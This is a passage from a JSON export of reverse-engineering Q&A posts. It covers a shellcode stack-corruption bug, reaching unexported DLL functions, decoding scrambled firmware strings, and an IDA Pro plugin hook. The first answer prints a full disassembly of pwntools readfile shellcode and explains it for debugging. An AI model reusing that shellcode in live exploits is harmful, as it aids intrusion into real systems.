        "Answer": "<p>The shellcode you're using is this</p>\n\n<pre><code> 0:    6a 01                    push   0x1\n 2:    5f                       pop    edi\n 3:    68 01 01 01 01           push   0x1010101\n 8:    81 34 24 75 79 75 01     xor    DWORD PTR [esp], 0x1757975\n f:    68 6f 61 64 2e           push   0x2e64616f\n14:    68 70 61 79 6c           push   0x6c796170\n19:    6a 05                    push   0x5\n1b:    58                       pop    eax\n1c:    89 e3                    mov    ebx, esp\n1e:    31 c9                    xor    ecx, ecx\n20:    cd 80                    int    0x80\n22:    89 c5                    mov    ebp, eax\n24:    89 c3                    mov    ebx, eax\n26:    6a 6c                    push   0x6c\n28:    58                       pop    eax\n29:    89 e1                    mov    ecx, esp\n2b:    cd 80                    int    0x80\n2d:    83 c4 14                 add    esp, 0x14\n30:    8b 34 24                 mov    esi, DWORD PTR [esp]\n33:    31 c0                    xor    eax, eax\n35:    b0 bb                    mov    al, 0xbb\n37:    89 fb                    mov    ebx, edi\n39:    89 e9                    mov    ecx, ebp\n3b:    99                       cdq\n3c:    cd 80                    int    0x80\n</code></pre>\n\n<p>This is from <a href=\"https://github.com/Gallopsled/pwntools/blob/0ce21d9b4593cc270ed113bf82a4e6da405b6653/pwnlib/shellcraft/templates/i386/linux/readfile.asm\" rel=\"nofollow noreferrer\">here</a> in pwntools.</p>\n\n<p>The first syscall is <code>i386.syscall('SYS_open', 'esp', 'O_RDONLY')</code> for payload.txt which will succeed if cwd has the file. The next is <code>${i386.syscall('SYS_fstat', 'eax', 'esp')}</code> which has a signature like </p>\n\n<pre><code>int fstat(int fd, struct stat *statbuf);\n</code></pre>\n\n<p>According to the man page</p>\n\n<blockquote>\n  <p>These  functions return information about a file, in the buffer pointed to by statbuf.</p>\n</blockquote>\n\n<p>In your case <code>statbuf</code> is esp and hence the stack is overwritten. Always debug and read the shellcode you're using.</p>\n"
    },
    {
        "Id": "18676",
        "CreationDate": "2018-07-03T20:46:51.870",
        "Body": "<p>I'm writing in C++ and doing an exercise to familiarize myself with DLLs and shared objects (.so). How can I access internals without exporting them? <em>GetProcAddress</em> returns null on a call of an unexported function. I wrote the DLL so I know all of the function and variable names.</p>\n",
        "Title": "How can I access an internal DLL function or piece of data externally?",
        "Tags": "|c++|dll|",
        "Answer": "<p>The <code>GetProcAddr</code> Windows API is used to retrieve addresses for <em>exported</em> functions. It will always return <code>null</code> for non-exported functions as it is unable to find it in the PE file.</p>\n\n<p>Exporting a function is what makes it available to other executables. Without exporting the data of where in the executable a function resides is unavailable (this is not entirely true, as <em>symbols</em> may still reveal that information but they're not used by <code>GetProcAddr</code>).</p>\n\n<p>If you still wish to find a function pointer to a non exported function, you'll need to follow an exported reference chain. For example, if <code>func1</code> uses <code>func2</code> and <code>func1</code> <em>is</em> exported, you can get the address for <code>func1</code> and then disassemble <code>func1</code> until you find the call to <code>func2</code> within it. Recognising the right call may be a little tricky, but that's definitely doable.</p>\n"
    },
    {
        "Id": "18682",
        "CreationDate": "2018-07-04T10:57:44.010",
        "Body": "<p>I'm trying to extract data from a firmware file.</p>\n\n<p>I used <code>binwalk</code> on the firmware, which found a single chunk of Zlib compressed data. I uncompressed this data, and used <code>strings</code> on the result, which produced output whose structure looks a lot like a mix of file paths, source code, and human-readable text. Here's a small sample:</p>\n\n<pre><code>32107654ba98fedc\n32107654BA98FEDC\n,8UBEDSA GTRESiaF :del\n elifs% :l\n0`YhaGp`a9\nI&amp;N'H&amp;M(L'\nCJLLKIMHL`+#\nJ!H!!=L\"N!\nGE6420&gt;&lt;:8QOMKYWUS\n-NAL@x!xcx\n&lt;+,I+K*H&amp;x\n-K\\M[L\\x/x#x\n./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevicpi/\nc../..il/.eh/b-xilmmocm/nos/ucerahrs/drd/creviCiu/.mmo\nc./..il/.eh/b-xilmmocm/nom/uc_nias/4md/creviriu/rCpsI.mmo\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/creviriu/rUpsItadp\n?cnySnorhdezi\ncnySnorhdezi\ncnySnorhdezi\n0tinImoC telp\nd% C862 95341 86\n62 W5348 8694201\n./..il/.OP/balPDhs/yderacrs/ird//revCIPS.mmo\ncORRES :R%[IP :]d toGinapni cacid!rot:CP 0%x0\nX8[IPS ]d%eteDdetc XR revowolfd%( \n) IPSe xrrorrd% :\nf oN eer IPSp xrekca\ntseborrE=! rFx0 FFFF\nFFF./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevirau/\n./..il/.OP/balPDcm/yrs/urd/creviips/\nNY./..il/.OP/balPDcm/yrs/urd/crevimds/c.cm\n./..il/.OP/balPDcm/yrs/urd/crevimds/eDcm\n./..il/.OP/balPDcm/yrs/urd/crevipsd/\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirop/r\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirep/r.lad\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirim/riDid\nc.n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevir6l/rkniLc.CB\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevir6l/rkniL\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirav/rxair\nc../..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirid/ratigduAloIoi\nc.-tve di&gt;EH &lt;CXILRTNOE_LOTNEV_DI_NUOC\nTipg!er_ouOdatuptLEH(OCXIORTNER_L_TESTROPEH ,CXILRTNOR_LOTESENIP_&amp;&amp; )pg! r_oiOdaeuptuEH(tCXILRTNOB_LO_TOOTROPEH ,CXILRTNOB_LO_TOO)NIP\nY&lt; diLEH OCXIORTNVE_L_TNEC_DITNUO\n bc(N =!)LLU &amp;&amp; -bc(nuf&gt;oitc=! nLUN \n)LcaPp tekN =!\nLLUtyb(uoCe= tn)0 = || yb((oCet tnu)0 &gt; &amp;&amp; aDp(! atUN =))LL\nS_SIECCUr(SS\n)seleHgoCxiortnIsIlitinzila\ndeS_SIECCUr(SSaVte\ners/.rd/crevileh/oCxiortneh/lCxilrtnoc.lo\nrs/.rd/crevileh/oCxiortneh/lCxilrtnoELlo\nc.Drs/.rd/crevileh/oCxiortneh/lCxilrtnocSlobbirCLel\nc.DLrtstgne=&lt; hxam eziStSfOgnir\nrs/.rd/crevileh/oCxiortneh/lCxilrtnoaMloCLni\nc.Drs/.rd/crevileh/oCxiortneh/lCxilrtnoiUlonevE\nc.tPcHpekcaEiUttnevwS&gt;-hcti di.EH &lt;CXILRTNOP_LOEKCAIU_TNEVEWS_THCTI_DI_NUOC\nTPcHpekcaEiUttnevwS&gt;-hctiats.&lt; etLEH OCXIORTNAP_LTEKCEIU_TNEVIWS__HCTTATSDI_EUOC_\nTNVEIU_TNEULAVNI_Ep*(TvEiUDtnercseotpi! )rIU =NEVEAV_T_EULLLUN\nPcHpekcaEiUttnevep&gt;-.lad&lt; diLEH OCXIORTNAP_LTEKCEIU_TNEVDEP_I_LAOC_D\nTNUPcHpekcaEiUttnevep&gt;-.ladulav=&lt; e0.1 \nrs/.rd/crevileh/oCxiortneh/lCxilrtnosIlomoCp\nc.m-tve di&gt;EH &lt;CXILRTNOI_LOU_PSTADPVE_E_TNEP_DIECORC_SSTNUO\nrs/.rd/crevileh/oCxiortneh/lCxilrtnosIlodpUp.eta\nc&lt; diLEH OCXIORTNSI_LPU_PETADEVE_I_TNRP_DSECOOC_S\nDN./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirce/rrDmo\n|FUI$N#F0h3G\n./..il/.OP/balPDcm/yrs/usd/csd/pnaMprega\nc.essartSt maeN =!\n./..il/.OP/balPDcm/yrs/usd/csd/pnoCplorteilCc.tn\n./..il/.OP/balPDhs/yderacrs/sys//mettSOImaer\nh.W_SI_DROEZISILA_DENGzis(\n)eW_SI_DROEZISILA_DENGfub(\n)zSW_SI_DROEZISILA_DENGlav(uBeu)zSf\n./..il/.OP/balPDcm/yrs/usd/csd/pnoCplorteilCM_tnoPgsc.tr\n./..il/.OP/balPDcm/yrs/usd/csd/polSp\n./..il/.OP/balPDcm/yrs/usd/csd/pnoCptxet\n./..il/.OP/balPDcm/yrs/usd/csd/pteMpnaMarega\n./..il/.OP/balPDcm/yrs/usd/csd/pteMpmySaslob\n./..il/.OP/balPDcm/yrs/usd/csd/pseRpcruonaMerega\nUedniEnIxyrtnlbaT &lt; en&gt;-csUmunEdeeirt\nse&gt;-cirtni[sexednnEnITyrtelbaer.] DIsr ==DIse\n./..il/.OP/balPDcm/yrs/usd/csd/pseRpcruocaCec.eh\n./..il/.OP/balPDcm/yrs/uht/cdaeruM/s.xet\n?6~j?p?j?&amp;\nAH?kc7?ei&amp;?\nM?O?^?QKf?gff?\nV+?ov-?yV%?\no&gt;aUq&gt;y_q&gt;1\ngff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?eff\n4&gt;13;&gt;afB&gt;\nX&gt;13_&gt;aff&gt;\n%?gf'?33)?\n.?gf0?332?\n7?gf9?33;?\n@?gfB?33D?\nI?gfK?33M?\nR?gfT?33V?\n[?gf]?33_?\nR?iNK?uuC?;&gt;;?9\nk?cRf?Q]`?\nr??%t?aIu?\ndv?aIu??%t?\nr?ytm?QGh?U\n=A_-&gt;)Ki&gt;5\nP?WBM?OpI?%\n@&lt;e5F&lt;7F7&lt;\nb:b{JW#$F8`\ntluM1( i,\"4/RLX iD ,atigU ,l1 BS\nigiD latP/S(,FIDSEA UBE/ro , 6L KNIL\ntluMG( iatiuA ,r ,xuiraV\niraVM xaengascit\nigiD latP/S( FIDA roE/SE\ntluMG( iatiuA ,r ,xuiraV\niraVM xaengascit\nigiD latP/S( FIDA roE/SE\ntluM1( i,\"4/RLX iD ,atigU ,l1 BS\nigiD latP/S(,FIDSEA UBE/ro , 6L KNIL\n( ittiuG ,ra,xuAraV )xai\n xaingaMcite\n( it\"4/1LX ,D ,Rtigi ,la BSU)2/1\nlati/S( FIDPEA ,BE/So ,U6L rNIL \nkcaP stetnes   :    \nkcaP steecerdevi   :    \n   orrE :sr        \n-:2LD--- DP\n---ileHoC xortnd :locsicenn\ndetileHoC xortnc :lennodetc\n   ileHoC xortne :lemunetar\n  dV WFisre :no---v---.---.\n\"`F!`l`,Hm`\nKlNk`4JlF!p\nHhIgp,p4MhNgp\nxdi( =&gt; &amp; )0i( &amp;&lt; xdDIU LPSIL_YAI_DEOC_D)TNU\ncLch dIdEH &lt;CXILRTNOP_LOEKCACS_TBBIRL_ELI_DCOC_D\nTNUrs/.iu/cDiu/lpsic.ya\n^./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparMsciganac.re\n4./..il/.OP/balPDcm/yrs/uiu/carg/cihprg/sihpaeMscaMategan\np./..il/.OP/balPDcm/yrs/uiu/carg/cihprg/sihpaeRscruosaMecegan\nJNHMNOINMPOO#\ntadep &lt; lADEPDI_LUOC_\nTNnevei&gt;-t== dLEH OCXIORTNVE_L_TNEU_DIEVEI\nnwoEiUgtnevksaTnuRsgnin\n./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/criu/inevE\n./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpat/sc.txe\n./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparOscicejbiu/tgamI\nE./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparOscicejbiu/tgdiWc.te\nl/..m/biapgss/kco/crcejbc.ct\n:TREOOP si Lard deni\n:TREmem _rgmollaSI cTUO  FO OMEM!!YR\nHkMjC4IkKk\nNiF)F(p=p%p\nwsileHoC xortn - lmunEtare\ndeileHoC xortn - ledlOev roisred ntcet\ndeileHoC xortn - leweNev roisred ntcet\ndeileHoC xortn - lernUngocdezi wf eteddetc\n./..il/.OP/balPDcm/yrs/uht/cdaerhT/sdaer\nh.rs/.pa/cpa/p\ncol(oita! )nUN =\nLLsed(pirc)rot =! LLUN\nolb( )kcN =!\nLLUter(IjbO! )DUN =\nLLrs/.pa/cpa/ppsDp\nc.RELAI :Tlavnf diIwold% d\nuos(Iecr! )DUN =\nLLnis()DIk =! LLUN\nIjbo=! DLUN \nLZterSeno eziN =!\nLLUwolf =! LLUN\nH !F1Q`F 3\nPedniZnIx enoeg &lt;xaMtenoZeziSnoz(\n)eolf(! )wUN =\nLLacolnoit =! LLUN\nacolnoitni&gt;-IxednoZn=&gt; e\n0 acolnoitni&gt;-IxednoZn &lt; eMtegoZxaiSenz(ez)eno\nedniZnIx enoPA &lt;SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENeppuziSr== ePPA PSD_OLF_AM_WLB_XSKCOREP_NOZ_\nEtgt(wolFrp&gt;-ziSe + eFtgt-wolppu&gt;iSre )ezA =&lt;D_PPF_PS_WOL_XAMCOLBP_SKZ_RE\nENOtgt(wolFrp&gt;-ziSe + eFtgt-wolppu&gt;iSre+ eztgt wolFop&gt;-iSts )ezA =&lt;D_PPF_PS_WOL_XAMCOLBP_SKZ_RE\nENOenozeziS =&gt; \n0Serp ezi0 ==\nwolfrp&gt;-ziSe + ewolfpu&gt;-Srep ezilf +&gt;-wotsopeziS =&lt; _PPA_PSDWOLFXAM_OLB__SKC_REPENOZ\newoluoCr! tn\n0 =potspooL :rearapoN moF t dnu\newoluoCr= tn\n0 =ovipdnIt&gt; xe\n0 =ovipdnIt&lt; xeteg ZxaMSeno(ezienoz\n)enoz =! LLUN\nrs/.pa/cpa/ppsDpwolF\nc.enozeziS =&lt; _PPA_PSDWOLFXAM_OLB__SKC_REPENOZ\nedniZnIx eno0 =&gt;\nruosnIec xed0 =&gt;\nruosnIec xedPA &lt;SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENgratnIte xed0 =&gt;\ngratnIte xedPA &lt;SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENbmunfOrecolB&gt; sk\n0 =bmunfOrecolB&lt; skPA =SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENuos_Iecrxedn =&gt; \n0rat_Itegxedn =&gt; \n :RtuorSgni-tolrap&gt;Ztne enoN =!\n</code></pre>\n\n<p>There's also some ASCII art later in the output, which I believe is used to control the ouput of some small LCD displays on the device:</p>\n\n<pre><code>%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)%)%)%)JRJR%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)JR%)%)%)%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JRJRJR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JRJRJR%)%)JR%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)JR%)%)%)JR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)JRJR%)JR%)%)%)%)JR%)%)%)%)%)JR%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JR%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)JRJRJRJR%)%)%)%)JR%)JRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n</code></pre>\n\n<p>Given that the ASCII art remains mostly intact, I think it's likely that whatever means of obfuscation this firmware is using is fairly weak. But I'm new to firmware analysis, so I'm not sure if that's a logical conclusion.</p>\n\n<p>Is this file using a substitution cipher of some kind? Or perhaps another kind of simple obfuscation?</p>\n",
        "Title": "Is this firmware using a substitution cipher?",
        "Tags": "|binary-analysis|firmware|cryptography|",
        "Answer": "<p>The first two lines suggest a string containing all hexadecimal digits, first line lower case, second line upper case. If this assumption holds, then the two lines read</p>\n\n<p><code>0123456789abcdef</code></p>\n\n<p><code>0123456789ABCDEF</code></p>\n\n<p>The construction principle then would be: \nTake four characters, arrange them in reversed order, go to the next four characters etc.</p>\n\n<p>Doing this with the line</p>\n\n<p><code>./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevicpi/</code></p>\n\n<p>results in </p>\n\n<p><code>../../lib/helix-common/muc/shared/src/driver/ipc</code>, \nwhich makes sense.</p>\n\n<p>This works but not always. For instance the line </p>\n\n<p><code>cnySnorhdezi ==&gt; Synchronized</code>, but the line</p>\n\n<p><code>?cnySnorhdezi ==&gt; ?cnyronSzedhi</code>, which is obviously nonsense. I am pretty sure it \"deobfuscates\" also to Synchronized.</p>\n\n<p>One could now assume some secret hidden additional algorithm for the non-working lines, but for me this sounds not realistic, given the simple construction principle in many cases.</p>\n\n<p>From the examples presented I assume that your snippet is not obfuscated at all, but not correctly decompressed. Maybe when you try with different zip algorithms with slightly different parameters, you end up with the clear text. With the principle I have been using it should be possible to get some more amount of perfectly reasonable clear text parts, which possibly could be used as a help to find the correct decompressor.</p>\n\n<p>There might be another, more promising possibility to decompress:</p>\n\n<p>I assume you have the (compressed) code of your firmware. There should be somewhere a stub in this code containing the decompressor. If you are able to find it, you could reverse it, perhaps also from static code and make a working C-code on your PC, thus enabling you to decompress.</p>\n"
    },
    {
        "Id": "18683",
        "CreationDate": "2018-07-04T11:18:39.857",
        "Body": "<p>Is there any way to get  SDK API  message when Ida Pro is closing?\nI write plug-in that connect with other  application and I need to close connections when IDA is closing.</p>\n",
        "Title": "How to get closing message from IDA Pro?",
        "Tags": "|ida|idapro-sdk|",
        "Answer": "<p>The second way to solve the problem with getting close message is create <code>term(self)</code> method in the UIHook class but not in plugin class.\nThe benefit of this way that is it usable with ida pro scripts not just plugins.\nExample:\n<a href=\"https://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_uihook.py\" rel=\"nofollow noreferrer\">https://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_uihook.py</a></p>\n"
    },
    {
        "Id": "18693",
        "CreationDate": "2018-07-05T12:45:40.477",
